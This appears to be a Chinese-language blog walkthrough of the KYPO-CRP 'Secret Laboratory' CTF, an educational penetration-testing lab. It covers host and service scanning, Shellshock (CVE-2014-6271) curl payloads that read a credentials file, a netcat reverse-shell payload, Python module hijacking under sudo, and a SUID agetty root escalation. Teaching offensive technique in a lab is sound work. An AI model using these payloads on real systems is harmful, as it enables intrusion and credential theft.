
项目设计目的 : 本文是使用 Kypo-CRP 构建网络安全 CTF 挑战或实践考试环境的第二篇文章。我将使用马萨里克大学 2020 年春季学期课程 PV276 – 网络攻击模拟研讨会中的渗透测试 CTF 游戏“秘密实验室”作为案例研究,本文演示了两个关键目标:
-
如何在 KYPO-CRP 平台上构建和部署自定义 CTF 或教学任务沙箱。
-
如何在 KYPO-CRP 中操作,逐步解决 PV276 秘密实验室挑战。
秘密实验室 CTF 挑战被设计为高级 Web 和信息安全练习,旨在让参与者从防御者的角度了解渗透测试工作流程。它强调 Web 服务漏洞识别和利用、基于 CVE 的攻击以及 马萨里克大学 PV276 网络安全课程中教授的数据保护技术。此挑战的相应 KYPO 沙箱可通过 KYPO 在 GitLab 上的官方开源存储库公开获得 (MUNI-KYPO-TRAININGS / games / secret-laboratory),使学习者和专业人士都能在真实环境中练习网络攻防的实践技能。
# Author: Yuancheng Liu
# Created: 2024/07/21
# Version: v_0.1.2
# License: MIT License
# Kypo-CRP Disclarmer: This training topic is for educational purposes only.The story is fictitious.
介绍
在我们深入研究解决 Secret Laboratory 挑战的技术演练之前,我想感谢挑战作者——Stanislav Boboň、David Hofman 和 Jakub Smatana——为网络安全教育和竞赛设计了一个紧凑、引人入胜且具有丰富教学意义的实践任务。
秘密实验室挑战由五个连续的任务组成,这些任务共同锻炼了跨网络、Linux 系统管理、Web 安全、密码学和权限提升的核心网络安全技能。完成挑战后,参与者将能够轻松掌握以下概念和技术:
-
使用
fping和nmap等工具进行基本网络发现和探测。 -
Linux 文件系统布局、SSH 配置以及用户/文件权限模型配置。
-
对 Web 服务执行有针对性的渗透测试,包括识别和利用已知漏洞 (CVE-2014-6271)。
-
利用错误配置的权限并执行库劫持/覆盖攻击以实现权限提升并提取敏感信息。
挑战背景故事
在 KYPO 挑战页面上,参与者会看到一个简短的叙述,该叙述构成了练习框架并设定了目标,如下所示:

这个故事情节为任务提供了背景:
欢迎! 您是一名网络安全官,受聘对一家初创公司的 Web 服务执行渗透测试,以便他们能够及早修复安全问题。您将获得一台与目标服务器位于同一网络上的 Kali 机器——使用它来查找漏洞并演示如何利用它们。
环境和网络拓扑
该练习在 KYPO Cyber Range Platform (KYPO-CRP) 上运行,并使用 CTFd 进行评分。对于每个参与者,KYPO 都会提供一个由两个互连 VM 组成的小型多网络环境。本演练中使用的简化网络拓扑如下所示:

-
攻击者 (10.32.51.12) — 提供给参与者的 Kali VM。它包括常见的渗透测试工具,并且参与者具有
sudo权限来执行任务。 -
Web VM (10.32.51.173) — 托管易受攻击的 Web 服务的目标服务器。
CTF 问题和核心技术
挑战分为五个渐进式问题,如下图所示

此处总结了涵盖的主要学习目标和技术:
-
Q1 — 网络探测: 学习在 Kali Linux 中定位自己,并使用
fping和nmap等工具发现目标子网中的主机。 -
Q2 — 服务扫描: 使用
nmap枚举已发现主机上的开放端口和服务。 -
Q3 — 识别漏洞: 使用 Web 扫描工具(例如,
nikto)和 CVE 研究来查明易受攻击的服务并收集漏洞详细信息。 -
Q4 — 利用漏洞: 应用 CVE-2014-6271 (Shellshock) 提供的信息来利用漏洞,从而在 Web 服务器上获得代码执行权限。
-
Q5 — 检索秘密信息和权限提升: 探索解释型语言库劫持或覆盖与错误配置的文件权限相结合如何导致信息泄露和权限提升。
挑战 Q1:网络探测(目标发现)
CTF 挑战信息 :
-
目标: 从 KYPO 网络上的 Kali VM 中,发现子网中的主机并提交 IP 地址总数(包括您自己的)作为标志。
-
挑战任务:在任何渗透测试(或检测/防御活动)之前,您必须了解网络布局:存在哪些主机,哪些 IP 属于目标子网,以及您是哪个节点。这使您可以负责任地集中扫描,并且——从防御者的角度来看——快速发现网络上的新设备或可疑设备。
-
标志:子网中节点的 IP 地址总数(包括您自己)。
步骤 1.1 - 获取 KYPO 环境 SSH 访问权限
CTF 参与者需要进入培训主题 2 获取课程环境的访问权限 ,单击按钮 获取 SSH 配置 并按照 UserAccessManual_CR1.pdf 中的“访问 Kypo-Crp 课程挑战 VM”部分登录到他们自己的沙箱 VM。(如下所示)

然后,参与者可以使用下载的 SSH 密钥和配置文件登录到他们自己的个人沙箱(如下所示):

步骤 1.2 - 确认您的 VM 网络接口和子网
在 Kali 攻击 VM 上运行:
ip addr
# or
ifconfig
查找具有类似 10.32.51.12 的 IP 的接口。从该地址可以推断出子网。在此挑战中,您的 Kali VM IP 为 10.32.51.12,因此子网为 10.32.51.0/24(即地址 10.32.51.0–10.32.51.255)。
步骤 1.3 - 探测子网中的活动主机
参与者可以使用 fping(快速 ICMP ping 程序)或 nmap 枚举活动主机。实验室中使用的示例:
使用 fping(列出子网中的所有活动主机):
fping -ag 10.32.51.0/24 2>/dev/null
-a 打印活动主机,-g 扩展范围。2>/dev/null 隐藏错误消息。
使用 nmap(仅 ping 扫描/主机发现):
nmap -sn 10.32.51.0/24
-sn 执行主机发现而不进行端口/服务扫描。(您可以运行 nmap --help 或 man nmap 来读取选项;-sV 是您以后想要枚举服务时用于服务/版本检测的选项。)
结果如下所示:

扫描器输出将列出响应的 IP 地址。结果中显示有 4 个节点,然后在标志提交页面中填写结果 4,如下所示:

正确答案(标志): 4
挑战 Q2 : 目标服务扫描(服务枚举)
CTF 挑战信息 :
-
目标: 确定该主机上正在运行哪些服务,以及——至关重要的是——提取 HTTP 服务版本字符串。以
httpd ((Debian))格式提交标志
步骤 2.1 - 使用 Nmap 扫描目标
试验 nmap 选项并对目标运行服务/版本探测。有用的选项:
-
-sS— SYN(隐身)扫描 -
-sV— 探测服务以检测版本 -
-O— 尝试操作系统检测
使用以下命令扫描目标主机:
nmap -sV 10.32.51.173
结果如下所示:

从该输出中获取 Apache 字符串:
Apache httpd 2.4.38 ((Debian))
在标志提交页面中填写结果:

正确答案(标志): Apache httpd 2.4.38 ((Debian))
挑战 Q3 : 识别漏洞
CTF 挑战信息 :
-
目标: 扫描已发现的 Web 服务以识别已知漏洞,并提交在开放漏洞数据库中找到的 CVE 标识符。
-
任务:了解服务器软件和版本(来自 Q2)使您可以搜索已知弱点。在此任务中,我们对 Apache 托管的服务执行有针对性的 Web 漏洞扫描,以发现一个具体的、公开的 CVE,该 CVE 解释了如何利用该服务器。
-
标志:在开源漏洞数据库 (OSVDB) 中记录的 "CVE-xxxx-xxxx"。
步骤 3.1 — 使用 Nikto 扫描(发现潜在的 CVE)
我们使用 Nikto,这是一个预安装在 Kali VM 上的简单 Web 漏洞扫描程序。Nikto 检查 Web 服务器是否存在已知问题,并在找到匹配的测试时列出相关的 CVE 标识符。
运行:
nikto -h 10.32.51.173
结果:

Nikto 将探测常见的 CGI 脚本和标头并报告发现结果。在本实验室中,扫描程序检测到 CGI 脚本中与 Shellshock 相关的问题,并且输出显示了相关的 CVE。示例输出(实验室中的屏幕截图)显示了发现的 CVE 条目。
有时如果 Web 服务器响应缓慢,学生结果可能会显示以下消息:
![]()
这是因为 nikto 的插件代码设计,CVE2014-6271 和 CVE2013-6278 都属于同一 cgi 的 shellshock 漏洞,但对不同的 API 使用不同的标头。shellshock 漏洞检测插件的源代码:https://github.com/sullo/nikto/blob/master/program/plugins/nikto_shellshock.plugin
-
CVE2014-6271 : 使用 API 标头 'User-Agent' (公共)
-
CVE2013-6278 : 使用 API 'header 'Referer' (调试)
步骤 3.2 — 使用 Nmap 确认(可选验证)
由于 User-Agent 是一个公共 API,因此大多数工具会将该漏洞检测为 CVE2014-6271。例如,如果我们使用 Nmap 的脚本漏洞检测来公开 CVE,它将显示 CVE2014-6271,实际上两个答案都是正确的。
运行:
nmap -sV --script http-shellshock --script-args uri=/cgi-bin/printenv 10.32.51.173
脚本输出通常会引用 CVE-2014-6271(请参阅下面的屏幕截图)。Nikto 和此 Nmap 脚本都是验证漏洞的有效方法。

在提交页面中填写标志:

正确答案(标志)是: CVE-2014-6271
挑战 Q4 : 利用漏洞
CTF 挑战信息 :
-
目标: 了解攻击者如何使用已发现的 CVE 在易受攻击的 Web 服务器上执行命令。
-
任务:您已确定目标 Web 服务器 (
10.32.51.173) 正在运行一个容易受到 Shellshock 攻击的 CGI 脚本,Shellshock 是一种 Bash 命令注入缺陷。您的目标是利用该漏洞来检索本地用户 michael 存储在名为credentials.txt的文件中的密码,然后使用该密码通过 SSH 登录。 -
标志: 在
credentials.txt中找到的密码(即,您稍后将用于以 michael 身份通过 SSH 登录的秘密值)。
解决方案 4.1(可选):使用 ffuf 枚举目录
如果参与者不想依赖外部 CVE 文档,他们可以暴力破解 Web 目录结构以查找可能可利用的端点。
FFuF 扫描文件夹命令:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.32.51.173/FUZZ -t 50
结果:

然后,参与者需要在 /usr/share/wordlists 文件夹中尝试不同的单词列表,并找到 "cgi-bin",然后找到 "printenv"。然后他们可以使用 curl 进行检查:

解决方案 4.2(推荐):使用已知的 CVE 直接利用 Shellshock
由于 Q3 确认了 Shellshock,因此学生可以直接制作注入来查找服务器上的文件。
使用 CVE-2014-6271 有效负载查找凭据文件:
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'find / -type f -name credentials.txt'" \
http://10.32.51.173/cgi-bin/printenv
结果:

该文件位于:/var/www/html/credentials.txt
使用以下命令列出并读取文件:
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'ls /var/www/html'" http://10.32.51.173/cgi-bin/printenv
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /var/www/html/credentials.txt'" http://10.32.51.173/cgi-bin/printenv

解决方案 4.3(可选):通过 Netcat 反向 Shell
如果讲师想教授反向 Shell 和后期利用技术:
在 Kali 上启动侦听器:
nc -lvnp 4444
使用反向 Shell 有效负载触发 Shellshock:
curl -H "User-Agent: () { :;}; /bin/nc -e /bin/bash 4444" http://10.32.51.173/cgi-bin/printenv
在使用用户 michael 测试 ssh 登录并确认密码正确填写后,提交以下结果 (WindOfChange):

正确答案(标志)是: WindOfChange
挑战 Q5:查找秘密信息
CTF 挑战信息 :
-
目标: 了解 Linux 文件权限和特殊权限位(尤其是 SUID)、解释型语言(Python、PHP、Perl 等)中的库劫持/模块覆盖以及权限提升技术。
-
任务:
/root下有一个秘密文件,但其权限阻止普通用户读取它。在 michael 的主目录中,有两个文件归 root 所有,对他来说都是只读的,但仍然是可执行的。这很不寻常——而且很可疑。他们的任务是找到一种方法来使用这些文件作为“桥梁”来提升权限。 -
标志:/root 文件夹中 *txt 文件中的文本内容。
步骤 5.1 : 检查 sudo 权限
在此挑战环境中,一个名为 try_it.py(模式 0644)的 root 拥有的脚本放置在 Michael 的主目录中。提示也添加到 /etc/sudoers 中:
- name: Allow for user michael to execute python script
lineinfile:
path: /etc/sudoers
insertafter: '^root'
line: 'michael ALL=(john) NOPASSWD: /usr/bin/python3 /home/michael/try_it.py'
然后检查用户信息以使用 sudo cmd 查找用户 john:
sudo -l
结果:

这揭示了:
-
允许用户 michael 运行
/usr/bin/python3 /home/michael/try_it.py -
该命令将 以用户 john 身份执行,而无需 john 的密码
步骤 5.2 : 查看 try_it.py 文件
然后我们检查 try_it.py 文件:

该脚本很简单——没有可利用的逻辑。但是:
-
它 归 root 所有
-
它 以提升的权限执行(通过 sudo 运行时)
这意味着我们可以利用其 Python 运行时行为。
步骤 5.3 通过 Python 模块覆盖进行库劫持
Python 按以下顺序搜索模块:
-
当前目录
-
PYTHONPATH中的目录 -
系统库目录
因为 try_it.py 包含 import random, 我们可以通过在同一目录下放置一个伪造的 random.py 文件来覆盖 random 模块。这允许我们**以目标用户 (john) 的权限**执行任意命令。
创建文件 /home/michael/random.py,如下所示:

重要提示:
-
包含正确的 Shebang (
#!/usr/bin/python3) -
使用
os.system/pty.spawn/subprocess来生成一个 shell
步骤 5.4:执行被劫持的脚本
按照 sudo 的指示运行脚本:
sudo -u john /usr/bin/python3 /home/michael/try_it.py
结果:

现在我们有了一个 john-shell,而不需要 john 的密码。因为系统认为*root*正在以 john 的身份生成一个 shell(root 永远不需要密码)。
步骤 5.5:权限提升:john → root
在 john 的 home 目录下,学生会发现一个可疑的 SUID 二进制文件:

一个名为 agetty 的二进制文件在那里——这是不正常的:
-
agetty 是一个系统登录程序
-
它**不应该**位于用户的 home 目录下
-
它**不应该**设置 SUID
-
当 SUID-root 时,agetty 成为一个权限提升向量
步骤 5.6:使用 GTFOBins 进行提权
搜索“agetty privilege escalation”或查看 GTFOBins 并获取:https://gtfobins.github.io/gtfobins/agetty/,该站点确认具有 SUID 的 agetty 可以生成 root shell。
运行利用命令:
./agetty -o -p -l /bin/sh -a root tty
结果:

授予一个 root shell 并 cat root.txt 以获取 flag,在 Kypo 页面中提交 flag:

正确的答案(flag)是:FIIT_STU{got_r00t}
如果您对有关 Kypo CTP 和 CTF 挑战的其他文章感兴趣,请参考:
感谢您花时间查看文章详情,如果您有任何问题和建议或发现任何程序错误,请随时给我留言。非常感谢您能提供一些评论并分享任何改进建议,以便我们能够把工作做得更好~
last edit by LiuYuancheng ([email protected]) by 15/11/2025 if you have any problem, please send me a message.
No comment for this article.